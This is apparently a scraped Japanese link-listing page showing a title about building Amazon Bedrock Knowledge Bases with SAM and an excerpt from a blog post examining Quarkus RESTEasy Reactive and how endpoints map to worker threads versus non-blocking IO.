                                                                                  Knowledge Bases for Amazon Bedrock (with OpenSearch Serverless)をSAMで実装してみた | DevelopersIO
                                                                                • QuarkusのRESTEasy Reactiveを使って、エンドポイントとスレッドの関係を確認する - CLOVER🍀

                                                                                  これは、なにをしたくて書いたもの? Quarkusのドキュメントを見ていて、RESTEasy Reactiveというものの存在が気になりまして。 RESTEasy Mutinyが名前を変えたものなのかな?と思ったのですが、どうやらそうではなさそうなので見てみることに しました。 ドキュメントを見ていると、スレッド回りが気になるので最終的にはこのあたりを確認したいと思います。 Getting Started with Reactive 現在(2.2.3.Final)のQuarkusのReactive向けのGetting Startedのドキュメントはこちら。 Quarkus - Getting Started With Reactive ここでは、従来のモデルがリクエストをスレッド(ワーカースレッド)に割り当てていること、リアクティブな モデルではワーカースレッドを使わずノンブロッキングIO

                                                                                    QuarkusのRESTEasy Reactiveを使って、エンドポイントとスレッドの関係を確認する - CLOVER🍀